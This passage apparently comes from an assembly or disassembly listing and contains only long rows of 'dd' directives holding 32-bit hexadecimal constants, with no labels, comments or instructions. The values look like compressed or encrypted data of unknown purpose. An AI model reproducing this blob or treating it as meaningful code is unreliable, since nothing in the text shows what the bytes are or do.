7A208484h, 0CCEA286Ah, 7E9423F5h, 0F9ED2EDBh dd 94E5F60Ch, 1E9707D5h, 0AE31CFF6h, 0DD034BC6h, 0B797C007h dd 1D8FC08Ch, 67AF431Fh, 0F7CC8A3Dh, 0AF1D3E92h, 0C229EDD5h dd 0B428515Ch, 3D6EE1A9h, 0D812DD95h, 0FEAF229Ah, 0D162C634h dd 2BED0E1Dh, 0DACDA653h, 4DED3B62h, 0E59AB777h, 13CB5024h dd 4A2AD801h, 61E125DFh, 9E50925Eh, 7EE1D6CDh, 0FDA011B5h dd 22687374h, 98161083h, 8DACA172h, 8273AA68h, 1EC4FD8Ah dd 0E5C9964h, 0F27D6856h, 0B26F6768h, 715CA853h, 0D939A89Dh dd 1548BCADh, 9060F948h, 8F23B581h, 0C49BC094h, 72E160h dd 56718D1Bh, 0EFCA9B00h, 86EB219Dh, 0F54649E1h, 744CDE06h dd 523D14F5h, 31EEA6B9h, 923A8B81h, 0FE20BDB0h, 0F52BB204h dd 0A584D100h, 3D686D4h, 880CD46h, 0FA8B54EFh, 3A425F4h dd 3B7FE660h, 0DFE93475h, 845E776Ch, 76D355E3h, 6FDCF68h dd 45DF5FD2h, 0D689B2h, 0D1DDB7Ch, 3FBD92B2h, 0DD2A29FEh dd 726763E4h, 0E39C41E8h, 0ECDD236Ch, 0AB230528h, 0FCB960Dh dd 7283FCCCh, 6AC8AF3Eh, 610F769Fh, 10C27CE4h, 0F52B3EC2h dd 0C2BDBB1h, 0AF44E7E6h, 24323263h, 0F76474B3h, 1A45C2A5h dd 471C2798h, 1E6AC6C9h, 0F837B57Eh, 5EB6C3D6h, 0EBB7368Fh dd 0FE1872CBh, 316FE059h, 0BC4FC169h, 90C5BB63h, 0B68E0E10h dd 34A9EA29h, 19B28211h, 0DFC0E905h, 61C734E7h, 2E018E2Ch dd 0DBC50A55h, 83D4D696h, 80D5CB49h, 1F40A499h, 1F67CDFh dd 0A96727B7h, 2FEFC321h, 0CF50A452h, 2AD2FB09h, 0FB772AA5h dd 7CCAEFD7h, 0E29AD12Ch, 0B3D8FA10h, 0BB5E372Eh, 0BABAEFB9h dd 795C57DDh, 0E08813BBh, 0F65844E1h, 0A10FAD59h, 0FC39602Ah dd 4EFF06E4h, 87A21FA5h, 80A45E7Dh, 1C1312DBh, 5A182C6Ch dd 215BF609h, 9021D4FBh, 0DC7C15C6h, 0D63FE0A0h, 0DD7075A4h dd 0B1FBEA54h, 0C614F5B0h, 21020AA1h, 87D5D8BDh, 0A2C9A7Ch dd 3D3A05BFh, 0BDF10424h, 0D8130934h, 0A5D51907h, 0A34F91C1h dd 4D285C25h, 4F77A98Eh, 7E7562E2h, 29736EF6h, 0EE53028h dd 0CDBE9A90h, 2976032Dh, 0BEFF7E0Fh, 53D94857h, 616180F8h dd 0CE6D825h, 79533EDEh, 500A6B1Ch, 8D15C68Fh, 0EF57BE1Ah dd 0F8CAFA37h, 6447D0A6h, 0AFB637D9h, 0CBBB1475h, 0CEAFD511h dd 7477A495h, 0FFA80CF5h, 6E5918A1h, 11646406h, 433DE8DAh dd 0A918832Ah, 61624551h, 8A4016A3h, 11B91E63h, 2963D7DEh dd 0FF125FE6h, 2369E33h, 0BC6F7E3Bh, 0DA8106Fh, 0CF8936E6h dd 2B14D5AAh, 5E5E87Dh, 0A211B5F1h, 4ABE17E3h, 0D49EE9A7h dd 7E9C2080h, 97B02FA9h, 0ED83FDCDh, 46C4698Ah, 0C4023D71h dd 140778EDh, 0B9AC9FCBh, 0E9A6944Ch, 0E0F4D909h, 432AA52Bh dd 0C7FABFC8h, 25EA7C39h, 0BAC04979h, 86822EF5h, 5D9FC012h dd 997BC718h, 0FE347D6h, 0D23B6E30h, 86D96701h, 7E0C2C31h dd 5AF1A3F1h, 844CD3E7h, 6EDD245Ch, 976E9CF3h, 8D35B2EEh dd 9E82DBB9h, 0DE1CDBF8h, 40F7329Ch, 0A5C24D0Eh, 0B7B0A944h dd 0EA0CA67Bh, 2D5C8C6Eh, 711301F1h, 2E830640h, 0FD786DA7h dd 22129E9Bh, 14729C08h, 0B8C394B9h, 0A147949Bh, 558A948Bh dd 829BC934h, 61A5D08Ch, 1C3E729h, 12298B53h, 93A4F845h dd 1C020143h, 0D92F9628h, 96F6C638h, 2C8FBAD5h, 0F6FD97EAh dd 0B9797BEEh, 62E3896Dh, 0B11DC0CAh, 0BB69C753h, 0CB11C755h dd 0C1CC2047h, 883426E2h, 0C6B97469h, 0E60E840h, 0EB6CACDBh dd 0E596343Ch, 0C5031A4h, 0B932C9DFh, 39E17F6Ah, 0A7EDCA27h dd 0A070F284h, 6B925282h, 0CBA894F2h, 0B74F716Eh, 3450EBBEh dd 0D4AC47E4h, 0CC267FADh, 4C548087h, 4AA4A529h, 8C34517Dh dd 0DD170C73h, 76A10D5Eh, 1BE61036h, 7B557C75h, 24D2FBA9h dd 9645EEB1h, 539212B5h, 200506FEh, 177070A7h, 6B4DAD0Ch dd 0A316B6A3h, 3C00CC33h, 73DF9B3h, 3F22BBBh, 0A2CFFB0Bh dd 0CBABE5AEh, 0EFA25FE8h, 3C806813h, 0F6C22DF4h, 41BC7343h dd 0DBE8D0AFh, 0A2F26D00h, 850E4DA6h, 0F8063656h, 0ECC909FCh dd 0BB224C03h, 2C42DF1Fh, 54F6C089h, 6266003Bh, 8CFFB284h dd 0EEB5FAF3h, 67C4097Ch, 0B263F9A5h, 33A4E291h, 80ABBE4Fh dd 47E1B748h, 32D59CBBh, 0FA108466h, 6C1962A5h, 914977B9h dd 46BDEE6Eh, 0B8ECC461h, 155AEA28h, 0BB26DB52h, 6ACD5181h dd 0A352B839h, 895B754Ah, 0E663A7BCh, 7B121421h, 61F5F173h dd 0DEF9C45Dh, 0AEEF8212h, 0DDE422AEh, 0BDA6D2B9h, 192E0CDAh dd 52F7E8AAh, 0C3CADD50h, 19EC5374h, 91322785h, 5A27FBACh dd 794097Ch, 8B5C47B6h, 111D4FAEh, 0DF43EF71h, 95EB420Fh dd 3CCB377Bh, 6944F442h, 0D64CE97h, 2488713h, 444269Eh dd 0C1BDB04Fh, 83EABD92h, 0CAFDA815h, 5FB56670h, 9F11991Bh dd 8E9B673Dh, 27BAC4EDh, 3EF68F6Dh, 0FF89DCD1h, 797085D1h dd 6F086979h, 0D100E0AFh, 0C31F48C5h, 0E8571436h, 0F970CBF3h dd 7D4D0EDEh, 76407AFh, 0D5D37009h, 2B878055h, 68B1FA82h dd 0CA2B86FAh, 0E4552DBCh, 0C0003F56h, 0AA3C4A08h, 0CFBB79B4h dd 96476A7Fh, 9466A925h, 74735C35h, 0FD37BAE2h, 5313DC20h dd 6871D907h, 0BD361E91h, 3FC25F45h, 85BD19ADh, 1A0859FCh dd 4D9F105h, 5BE6B03Eh, 0F580B9ACh, 45B41BD4h, 12FA5D2Ch dd 38488588h, 8C12FB12h, 0C09FC420h, 22A1A762h, 3E94BEC1h dd 0E003C7C7h, 0B76ACDCBh, 0ABC28C20h, 14A05E13h, 0C1179785h dd 6B94A8E8h, 0D453D75Ch, 0B09B3F80h, 0AFDE263h, 4D154B43h dd 10C3EA21h, 545BEA30h, 4968B61Ch, 89190C39h, 20D7921Ah dd 2F680A17h, 32952ABBh, 9E80C157h, 9378F54Eh, 3B73D6FAh dd 0D1AB0EBDh, 6F8F8C9Dh, 0E54AB4C8h, 38CB8A37h, 230EDA82h dd 1F982282h, 0E8DDC753h, 0D91D4BB7h, 93A78DA9h, 0BFF0F0Eh dd 1C6AF8FEh, 0E717429h, 28EC2141h, 72442279h, 5E7972B9h dd 0F028EEEFh, 0B1F223D7h, 4D3EEBBDh, 0E028A2A0h, 0DD5627A8h dd 35949813h, 0A4C54B7Eh, 5CBC794Eh, 35152FC4h, 3D937268h dd 0CC6A8438h, 6B90F433h, 0CFCD2225h, 13B4784h, 34C44F7Ah dd 0C8760633h, 45247E1Bh, 21F35F4Fh, 6FF45CA7h, 97DA7CACh dd 8291F11Eh, 0D8F6D022h, 305D21DAh, 0BC4EF46h, 0B913FEC5h dd 5248A3C1h, 4C49AA63h, 0C6EAC5E2h, 0F0DC683h, 0F81AC59Ah dd 7AAA30EFh, 8056C3E1h, 1D19E643h, 0B5583A0Dh, 0E000BBD4h dd 1F1D6031h, 2F52A32Dh, 4C82EFA3h, 3CB5E53Bh, 0AA43C164h dd 4781B239h, 0D8B5B49Bh, 94CF3011h, 81A6E9AAh, 70400CF4h dd 0C291EC1Bh, 0A4B9C2C1h, 0EF97252Ch, 0B5F427ADh, 0CBD136DBh dd 52EE1A39h, 60CD8E05h, 7556C5B3h, 0D6FEA65Eh, 961719DAh dd 361E3DC0h, 0D96535E8h, 374FE7C2h, 925482ECh, 0FB595E7h dd 2106718Eh, 549DBA67h dd 45D848ADh, 4DCB95D1h, 6668865Bh, 8B8A78D3h, 6EF26Fh dd 5903393Fh, 35DD486Eh, 0FE35A0DBh, 27C3273Bh, 215B65DEh dd 0B4C0EA36h, 0C37B7431h, 994E548Bh, 66BCFCB6h, 0E0CCC248h dd 0CF37163Ch, 5B0F5B3Eh, 39A1BCE7h, 0A52B3E8h, 688A25C0h dd 9DF04553h, 4019527h, 0D731E455h, 804D388Bh, 7749E905h dd 65C97B1Eh, 0FD4DEF82h, 0BA34B27Dh, 9849E093h, 499411B5h dd 0C3D6681Ch, 8A5505CFh, 0F0B4879Eh, 7C2651FBh, 4FB6BF1Ah dd 177E6535h, 0DD95088h, 572074F2h, 89696C84h, 0C890CF97h dd 541671AEh, 48717A50h, 7681B215h, 300FF0B5h, 0B92A63E1h dd 83A70E8Ah, 0EB1B2363h, 0F3D37338h, 90AA83B0h, 67570B81h dd 5A252AC2h, 0F3D88F8Ch, 2580EBF8h, 4C6ACC9h, 0E519124Dh dd 0FD593E5Eh, 0B3E2A63Bh, 429453BDh, 0F3163346h, 0A1238DC8h dd 601C8389h, 0CE6B24DDh, 0D8A03027h, 2ADC91F9h, 0DB16D0ABh dd 51DC3BBh, 0F8D65981h, 61133CECh, 0C89CA43Ah, 0DFC41068h dd 0BB08FD0Fh, 0FA81E931h, 23CC7CBDh, 22160FE7h, 0C8FBED63h dd 3485EDDBh, 831AA64Bh, 0EB9B9A6Ch, 3ECC320h, 59B5375Eh dd 0ABF7A446h, 94ADAD01h, 83A670C2h, 8B0E1558h, 488BF628h dd 92733F19h, 96EEFC7Bh, 0C3225261h, 583BFCBDh, 68FD7733h dd 5B12E159h, 0E294FB42h, 4FF75823h, 6D1DB1DBh, 8B33B585h dd 75F4256Eh, 62985283h, 4A95735Fh, 61C6CFF0h, 3898420Dh dd 0C47DB10Eh, 0BB5535B5h, 25D16512h, 0DBFFEFFCh, 0FD52EBC0h dd 970985B0h, 7354245Ch, 63B7C59Bh, 6423363Fh, 0C1506B5h dd 327EC642h, 76032679h, 80FD18FAh, 9A2C5B25h, 86F3933Eh dd 9C82DC2Fh, 0E756F5F5h, 15B3560Ch, 0C05B5091h, 255111FBh dd 5BF54C6Ah, 113FB868h, 5DA9F4F8h, 3766E31Ch, 358ABDE7h dd 5313B3BFh, 0D198F2FAh, 606EB4FDh, 26071D03h, 0EE362B35h dd 0DB33A41h, 0D6D1308Fh, 0D1D5E61Eh, 0DB71DA48h, 0B95534B5h dd 638D8D8Ah, 0CDAC2A2Eh, 7880FCCAh, 0C29BCFEDh, 0AC8E9FCEh dd 13FF28E3h, 0A9C9AD2Ah, 0B58B9A94h, 0A3DC8572h, 0D133F180h dd 0D1DDA5Fh, 3E188384h, 0F04172BBh, 578A5997h, 33D0A3DAh dd 47E6F5BAh, 0C80B87B5h, 7DA636D9h, 552D1F9h, 5D5357B6h dd 86EDEF87h, 0AC3F3212h, 35EBA083h, 4C50CD87h, 0B1AD4012h dd 0BB1320C7h, 4874192Eh, 73B80A7Dh, 0E3A02C48h, 621B5137h dd 6F101D1h, 70A1F18Eh, 0F3789427h, 11ED794Ah, 1E9BB23Ch dd 0D2F13FFCh, 0C0F7B5F4h, 7744C22Ch, 7731AC03h, 0DDB2E187h dd 0B619632Ah, 0E060897Fh, 0A7A6CD78h, 63DAB162h, 0C4C9A331h dd 484A6666h, 0B87F86D2h, 0C2E70FB2h, 2D9CF253h, 0B009D0D6h dd 9DC6E236h, 0C2F1A89Ch, 99DF4A49h, 0D6FA020Ah, 0A482D71Ch dd 0BA9920EFh, 5308A748h, 68F83A9Ch, 0CBED979Eh, 0D4B96D52h dd 85BC0BC8h, 0A1BEB055h, 5B6038ADh, 5AEE9BA3h, 0EFDD74B0h dd 0CF5F170Eh, 0EF29F509h, 70A6BEC3h, 3BF7D7ECh, 74AD5357h dd 59A1EFC1h, 9AC76D51h, 0C3EE21D5h, 0B8BF8B3Eh, 41FB4096h dd 0A600EA9Ch, 0F4270792h, 0C657266Dh, 8B6B8CA6h, 0D82D73E5h dd 3BAF533Bh, 16D641D4h, 0FA3FA4BCh, 7D0D1ABFh, 0B7F4E7Eh dd 8978489h, 0AC8D8622h, 86CADEE2h, 0A9171FD5h, 54BDEBA8h dd 6FD20949h, 0CD269333h, 79342683h, 0B8AB6Dh, 5081ADD6h dd 0EA1AC272h, 42DBDF07h, 31CB6A3Eh, 2FBB99C0h, 695C32Ah dd 2A858F9Ah, 6156C3C3h, 0B3EB6C54h, 9DCEF3B5h, 0A7CCAEFDh dd 0D51F495Ah, 5E80917Ah, 6CBCDF31h, 4F8F0346h, 0F90117B4h dd 3C8722DCh, 32AF1C5Fh, 0BF8EA2EBh, 0CC9F128Dh, 3AC0D710h dd 0CD3B29D7h, 0F4CFC0C3h, 0DB993C99h, 0A937038Eh, 0F93D3074h dd 7851125Ah, 88FA1FC6h, 12AA049Ch, 169D07D6h, 44F499F4h dd 0D0ACDC00h, 0A945B9D7h, 0BAB1469Fh, 0D2244FE9h, 45595C8Eh dd 0A803DCF8h, 91E35BFAh, 0B42CD427h, 8AEA5B34h, 1B6156EEh dd 0C16F3A11h, 1825CF29h, 89FB0A87h, 44B9C24Eh, 9E56F36Bh dd 4974411Fh, 0AA24357Bh, 18952FFFh, 0F58C687Ah, 87AE0CAAh dd 0F813FA20h, 7EC7DD76h, 6658431Ah, 21CD7FCFh, 2C9AEA34h dd 0DE231918h, 0E33DA2C5h, 759EF369h, 0B1BFC98Ah, 0E414F115h dd 0C2CA7CBDh, 126E9E9h, 76467AF4h, 7A39FB30h, 6444020Dh dd 0B7C144F4h, 727A6599h, 0FB3484C6h, 4A54E5B6h, 5092FC4Ch dd 64B22A5Ah, 0D534310h, 6B528D2Eh, 0AFE23AF6h, 0D2491BCh dd 98DBABC6h, 744A34A1h, 28B4AA4Fh, 1EB8D9E2h, 6C592341h dd 22E536D3h, 52CDD90Fh, 66BAA84Fh, 0A23B0D73h, 0A32E063Ah dd 9D3D76E9h, 0DBCABBFEh, 0E37C5047h, 4447B05Ch, 118CF987h dd 0DA58CABAh, 0ABAE4F37h, 0ED36DAB1h, 0A496FB1h, 0D4BD8AA3h dd 308E30EFh, 3E67EDFh, 6223300Eh, 5AEA3A2Fh, 272785C1h dd 58E72040h, 2171B931h, 4D7CA98Dh, 15B2F28Fh, 8A930934h dd 2CD2A936h, 0D0225995h, 0C4E2B78h, 67BC6023h, 765A2BB6h dd 0AC2DF7BDh, 0BE6228E0h, 0E1685465h, 29E57126h, 1EA84199h dd 47AB2D8Eh, 0BF8761E8h, 701C1888h, 6BA669D9h, 5ADCD85Bh dd 0AC820DA2h, 0AB18FEA3h, 99DE4761h, 0EFD74897h, 27D64A47h dd 9082E04Fh, 5C44D980h, 35A5B6C4h, 691CBA17h, 0B3BAE227h dd 56826F0Ah, 8B9BE7CCh, 0CB3F3E53h, 9DC8D959h, 88D36198h dd 6C961681h, 0C8C28CB2h, 0D7ADBFCDh, 0BC6C476Dh, 0DAC8321Ch dd 0FCFEBB6Ch, 0C6A9352Ch, 16EF01B8h, 0FEF0AA00h, 43A1FA50h dd 15F902ABh, 8F3EAB8Dh, 56C230D0h, 49595A91h, 66035522h dd 244E154Ch, 0C78F0FEEh, 70C9C526h, 6D38AD2Ch, 0EDA976EBh dd 26610402h, 6DE3C45Ch, 2C628FD7h, 0B42890B6h, 0B3075A67h dd 1ECB02B4h, 4090CFD8h, 5359C956h, 30323023h, 0A25D5312h dd 0D3371B95h, 41B1C14Fh, 6219249Eh, 5AB15864h, 19A2CFF1h dd 677D2615h, 1DBFFC59h, 0A35A61D0h, 4E6FBDFAh, 13D17887h dd 77CC79D2h, 0DA8B9AF6h, 2B23679Dh, 0E730EC24h, 7A130D62h dd 6DF12A40h, 8AD9F3F0h, 6165FE04h, 7105E705h, 8A3CC9Fh dd 0FCC35BEAh, 0BB437226h, 5E1043C1h, 0FF433ECAh, 7E403EADh dd 0AC9454B3h, 0EB895AE6h, 0ED652C8Fh, 6E7EEABDh, 87D60E89h dd 281A7258h, 0CE8BB465h, 2404500Ah, 424A3CF7h, 0DE8460Dh dd 6DFB71DBh, 0D7D40D30h, 8A068AC8h, 0EA9FB36Fh, 1D339781h dd 0B6E63FE1h, 0CA7344F5h, 2EE923BEh, 0A5DE6C34h, 12D1254Ch dd 27ABB36Eh, 0F370CD21h, 8BBEE844h, 9E2BF160h, 0C41EE151h dd 34518CCh, 2B6F745Eh, 9AA5A0C6h, 73F4FAC8h, 0C36BB6B5h dd 7DFEF50Dh, 0CB047272h, 0F8230A2Bh, 0FE40E2ACh, 0DC61E685h dd 70523339h, 65AA4CCh, 3D007276h, 88DCEC0Ah, 3C123853h dd 0E60BD881h, 286C137h, 71FBBC78h, 0A3B4C138h, 67F28C17h dd 2E3D8277h, 0BB60F9A3h, 267255ADh, 6725F099h, 0FD1E73Fh dd 34658469h, 73D7BED9h, 0FA0E2174h, 49FC976Fh, 24B7D497h dd 11DFE9D7h, 0F1EB529Eh, 0E74A5181h, 0AB55AC77h, 0F110A9Ah dd 88EA9D72h, 0AC42EE34h, 0DDBFA8CCh, 6E535691h, 2593FA7Ah dd 1A02C5h, 6D60E94h, 0E7CA6236h, 0F700B9B2h, 476A90B4h dd 47B0301Dh, 962A3A03h, 0C816D028h, 5E172269h, 59A68EFEh dd 4C58733h, 0E047DC74h, 0CBA11ABAh, 0C16E779h, 84A506F9h dd 32F45446h, 4B8A6FFAh, 0A24A4156h, 0CC9A5FABh, 0C4F607EDh dd 115D8534h, 0EDF20DD3h, 0A49FC4BAh, 20D37524h, 0FA829D90h dd 0C19FE7B6h, 5ABA4A75h dd 9005CE22h, 1A8E5785h, 0DE2E9F0Bh, 0C07FF240h, 4B6DF642h dd 80A43537h, 12726E71h, 0CC43AC39h, 232488D5h, 6F346292h dd 0A0C32BC9h, 0FF654757h, 0C5F2193h, 24DFB587h, 70F078FDh dd 0C35FEE14h, 62DFBF86h, 7DB9776Ch, 0B420B725h, 2BCD3294h dd 7395FF1Fh, 0F7BAAEC0h, 0BC55732Dh, 0BFBDCA0Ah, 5D330BD1h dd 0A8B0B06Eh, 2E62F156h, 78065EBEh, 67B702C9h, 785F97h dd 0AA0DFD42h, 33ED757h, 47BB5562h, 0A040C4DAh, 86EE03C9h dd 99F540D3h, 4703D5F3h, 5E168BA6h, 675B18A5h, 8529909Bh dd 0D9915A45h, 0EFB0D493h, 1040D4CCh, 2447D26Bh, 0D5773AEBh dd 7AFF6632h, 9561C5F3h, 0F4F52989h, 0EA0F7257h, 933DFC65h dd 9678C9BEh, 0F2728A47h, 4A8F85E0h, 5C8C8DC9h, 0D1E27379h dd 0B6B7E2AEh, 5B0AA77h, 0DF8BF357h, 0B883100h, 76E37562h dd 114E3223h, 0C6BC9B39h, 7F7B151Ah, 0A0436BE5h, 7A2485A8h dd 2CA4B9D6h, 0F58FA3Fh, 5D10C027h, 932160AAh, 0E071DE23h dd 0BF2C141Dh, 0C6D815AAh, 88295557h, 0B7B2BC5Fh, 6A5E58Dh dd 5A3F1DE1h, 0E7859615h, 2F40EF03h, 7A92FF90h, 5136B282h dd 0EAF92B9h, 0AE09EDA9h, 0FC51481Dh, 7689BB3Dh, 0A286AF9Dh dd 0BD5A3B62h, 3336ECDAh, 0FC4FC0EFh, 1AB0E1C0h, 0BE88A384h dd 3C6B938h, 4BD4D116h, 80B2AFCFh, 34C142FCh, 4D99103Bh dd 48A66F3h, 20E5C8BDh, 4AFDBC26h, 55DA2B67h, 60C7B81Bh dd 9CEA233Dh, 0E3DB713Dh, 6938D6B1h, 27AF419Bh, 788385C7h dd 2DAFFB23h, 0D85BA83Ah, 0FDE2F9h, 0A5B53886h, 0DB28F8E4h dd 0BAA6F2F9h, 0E66952B5h, 4387F54h, 63988815h, 0FC88C41Eh dd 0F2C829A9h, 6BC7CF23h, 129461D6h, 8E287334h, 21B35D79h dd 553E17F5h, 8041222Ah, 0BC9B6230h, 5F114C61h, 73D36591h dd 0EC222067h, 73DE6B31h, 2BCB9CADh, 16B5423Dh, 0F9A6BDD4h dd 2B9B2268h, 0AC0B5423h, 1FF79D66h, 6C9AB3A0h, 0CBE56081h dd 3BD69C15h, 3FACD2FCh, 703D89B8h, 0CB58CA0h, 2AEA01A7h dd 9E6751D1h, 733EBF14h, 0F3407DD4h, 70C2A089h, 0F703D06Dh dd 1C90C85Fh, 25D39B3Ch, 7E540EBFh, 0DABE3BB9h, 0BEA20D1h dd 0AAECD9ADh, 5DA7C225h, 4D66E2DDh, 0D6697D1Ah, 0D1F73967h dd 6FECC9CDh, 6D0107F8h, 0CFA32792h, 90A71513h, 0E1A205D5h dd 6193095Fh, 0DD4C3680h, 3E64BB06h, 652E387Ch, 0D41D40D7h dd 57A36C62h, 0B71165B6h, 40798908h, 45179DAh, 3AD35BD8h dd 0FC8BE5F4h, 467A7B89h, 0E4221AA1h, 0ECBFED1h, 7EED2BA5h dd 0CCFBBC22h, 0BCB90CE8h, 0D32977C6h, 225C27A0h, 68876B05h dd 4BF0DB88h, 53ADCC06h, 0CBEE6D5Dh, 965C7757h, 3A45BE98h dd 0A5915E7Ah, 0C8A298EBh, 77B144DEh, 0B3CCD6EFh, 95B8B205h dd 0F5F02432h, 0BC6B6581h, 7A41F788h, 0A81B116Bh, 5C9B8C77h dd 6946B5C0h, 83F524EAh, 1A5F8391h, 9A4BB969h, 77D37FDh dd 0EA6DAE50h, 7757348Eh, 63731ECDh, 421E7324h, 66B2E65Ch dd 8B37274Bh, 0EEBE88C8h, 7D2B8990h, 2FB1168Eh, 2C55286Bh dd 51642393h, 0BB6246FFh, 4FE43D76h, 9F9F4A77h, 9C44DB0h dd 0EF2B268Eh, 53DC0B49h, 7E5A8864h, 0C0C1B129h, 924292BEh dd 4822C498h, 0AE6ABD08h, 0D27C0B43h, 3728DAEh, 0FC415621h dd 129508D9h, 22167AD6h, 0F66469CEh, 2B099697h, 941EE5DCh dd 0B6A7EBBFh, 34B22790h, 0B9F2E8FBh, 0C0FDB50Ch, 0E20362EDh dd 49D22006h, 0D1021D70h, 0FFB5EC8Fh, 72C5D747h, 0C82873AAh dd 0C6FE9ED1h, 26C9B017h, 19BC1A65h, 60BEC8FDh, 0FD201E9Ah dd 395A24C3h, 7D451731h, 23A44E1Dh, 5F2C129Fh, 0C5E2565Dh dd 0EEDED096h, 0F7CF35C2h, 0E679E379h, 0F28B48BBh, 45CBF285h dd 0DA6AE71h, 6A0E3F55h, 581D1663h, 0BAB5C78Ch, 0D7F7B9B0h dd 61FF67A3h, 4F84A444h, 0AED3B606h, 0E1EDB0A8h, 0F05A2A20h dd 4A7BAB0Eh, 0ACA881ADh, 1A5099EBh, 9BD067AEh, 7117D54Ah dd 4630B638h, 0C295DE9Ah, 0FD1349F7h, 816F80CEh, 471486DBh dd 86AF055Ah, 44200DFEh, 14E5ACCCh, 0CAFE1FEh, 0B344B611h dd 0B155E94Dh, 59AF228Dh, 2A4DB443h, 0DE99DCCEh, 767CE06Ch dd 345E3A45h, 19285B5Ah, 386472EDh, 0C85B69A8h, 66F1A6C8h dd 2E5416FEh, 0D442D051h, 841860FFh, 0C73B5255h, 0FACA877Eh dd 0E48D9733h, 8B12154h, 0D7906BDAh, 87A4A6D3h, 0E9087B9Ah dd 8B9AC159h, 46042F1h, 76C464D8h, 53969DBFh, 922B0B25h dd 2C658C24h, 0C50911BEh, 5D3F2DE7h, 3EC26A56h, 3B750647h dd 0D8763F9Bh, 5961C2EDh, 0E1FCCADFh, 0C4DF5236h, 8560D7EBh dd 3AF3BF0h, 5A0B660Bh, 0B6E2436Dh, 3A5A718Fh, 0FB1337EDh dd 9F1F1B6Ah, 0E85AB1F7h, 0F67B5269h, 743254D1h, 0F25A4CB3h dd 470F023Ch, 3F42C35h, 6729FBCh, 0F853B8DFh, 0D71A1F90h dd 887CCA8Bh, 0B639FCAAh, 0C751DDF0h, 0BF6FA7A3h, 2267D88Bh dd 99B6FF69h, 0EA05028Ah, 910E0180h, 1B7F8255h, 0E0E9320Ah dd 91B60C78h, 76D7827Ch, 0CB7168FCh, 76572910h, 6DA92D95h dd 0A0B74DBh, 62AEDD39h, 8222A71Ch, 0C7EA2EF9h, 71DB4830h dd 75EFA00h, 2E24AC90h, 0BF937581h, 0A2AE495Eh, 88C98959h dd 120F9AD9h, 92D9DE74h, 0EC2B6E34h, 449E8601h, 8B859CAEh dd 4B8ECE08h, 2A99E2A0h, 9CFD7B27h, 98AF9F0Bh, 3333D409h dd 0D087CA52h, 0C8A2DA33h, 3FB0E0A0h, 5D5CCFD9h, 4B7D728Ch dd 0EC908FF0h, 0A941FF5Fh, 7F85ABEBh, 0E7413B13h, 95718F29h dd 0E6D732A9h, 0D9293107h, 1C45AE07h, 4CB92616h, 537D63C5h dd 0C9AAA979h, 0FA937B19h, 5333BE4Ch, 14132FA4h, 2A86E671h dd 0E9B43C62h, 3436E8E2h, 4BCCFB58h, 68C1F6AFh, 0B3058178h dd 35C6EC9Fh, 0C251C410h, 59C565DFh, 0E34EFA21h, 78A86C3h dd 7F9BF796h, 7DDEB7B8h, 0E344DD70h, 6CD1A55Ah, 264DE909h dd 845872F1h, 8D59BBFh, 1CA75A73h, 0A241C0EDh, 0E30F9D7Eh dd 0E8F46E6Eh, 0F7AF56B6h, 0F918875Ah, 4222BFFDh, 2A2A77DCh dd 3D6C257Eh, 0B37CE42Fh, 79593859h, 2F0349ECh, 0D76A3438h dd 23CA4EDFh, 41D4C5B2h, 613DD025h, 0E57B90AEh, 0F04F65C9h dd 0D0D54EEAh, 4A43B5BFh, 4D007853h, 0B3DE61EEh, 0E9F80289h dd 0F8FED0BDh, 7283EF9Fh, 44F80C9Fh, 4B55638Fh, 0C82F90D9h dd 9A518636h, 91315F5Fh, 74EFEFC0h, 48E0F874h, 0F85BA7CDh dd 1A821D84h, 0E9877A12h, 0AB67C90Bh, 0FB067446h, 86066A69h dd 0A89E4A2Ch, 0F5A7ED42h, 31F9FD82h, 0F9E6EF63h, 8101301Bh dd 6388FDF8h, 0F8262C40h, 7AB98617h, 15A70B4Fh, 0E645DCB1h dd 0B6A1B5D3h, 0A4ABDA6Bh, 0A90383Eh, 0BAE6B247h, 890CD700h dd 0DD794651h, 5387BD85h, 199A119h, 99DDF69Dh, 42A29F4h dd 978E056Ch, 615769BAh, 0E4D63DA1h, 6175AE11h, 25B3568h dd 40D751Ch, 4C55A911h, 3853577Bh, 0CB3B87DAh, 4DAAC546h dd 142D2FC9h, 424BF892h, 28D88870h, 5AED5BC1h, 0E4D8EB52h dd 4DC2528Bh, 18795DBAh, 1B213E25h, 6C78D13h, 9E916AC6h dd 992DF2A4h, 0E4985AE1h, 7CBB1E00h, 992C4033h, 622DFCA1h dd 7BB4AFEh, 49803A65h, 21968A7Ch, 9D663581h, 5E3F00DBh dd 0ABAC93FBh, 971F6B7Ch, 442182A9h, 597B4A29h, 1576BBC8h dd 0D48D2170h, 0E6F22E13h, 0C27866AFh, 0B3FA7A9Fh, 13C1A51Ch dd 167A8930h, 174C723Ah, 0B13A2381h, 0D2787A37h, 0D7C32142h dd 84A3C470h, 9E4C9A2Ch, 4A4FD356h, 0A65AD230h, 5D83659Dh dd 9FBAB9B6h, 34C818FBh dd 37AC041Dh, 0D66A96EEh, 0CA3561C2h, 0E8D6964Dh, 7A5BC715h dd 0CE75E1Eh, 19D6E4C0h, 3962C6EBh, 38901776h, 4A4A5A56h dd 0B7EE21C7h, 42A52313h, 2F76F784h, 9D7C399Dh, 5A4197A0h dd 0A7E86F3Eh, 761382D5h, 4E7C1AE2h, 0B4367BA8h, 0CCF224F6h dd 66094FFh, 0B1A80C1Ah, 140CBF92h, 7D405584h, 0AA6A4B78h dd 0BB438724h, 96689A49h, 0E0A18B3Ch, 0BCBEE99Eh, 93F1C800h dd 783E5BF2h, 36A70D3Dh, 0ACFD2B63h, 27743515h, 3848448Ah dd 793DF18Eh, 121FBF77h, 0B735EA53h, 93AD940Eh, 0D1997DE7h dd 0C41DAD6Bh, 8AB3D07h, 19A77BDBh, 5FFF01CEh, 45A58BCAh dd 0C50EE786h, 0C576D1E0h, 258AA575h, 1DDB02BAh, 76F18E0Ah dd 0E951D939h, 234C3CA8h, 7E92702h, 941059DDh, 8A7A6118h dd 322D9C80h, 229E9FB8h, 3F580762h, 0AB0F6FC1h, 7111CBF0h dd 75723B7Fh, 0CD12561h, 0EC669725h, 93239681h, 0AEF10B5Ah dd 0E669F50Bh, 0D4E5766Ah, 0F2DF47BBh, 55CBA907h, 57874E74h dd 0CB807A1h, 1E69B758h, 0FD3CF894h, 3E2CCD7Ch, 97ED5AB3h dd 70DEC486h, 11ECDE9Bh, 5552CBE2h, 955F550Eh, 0FB353D68h dd 0F33862A3h, 0FBCBF20Ah, 0C9313BB6h, 68243BBh, 0F805D5EFh dd 85347A53h, 13918860h, 0C34B90EBh, 2747002Eh, 1072B8D8h dd 83E50342h, 587E5B79h, 30C6CCAFh, 7BDE7F3Ah, 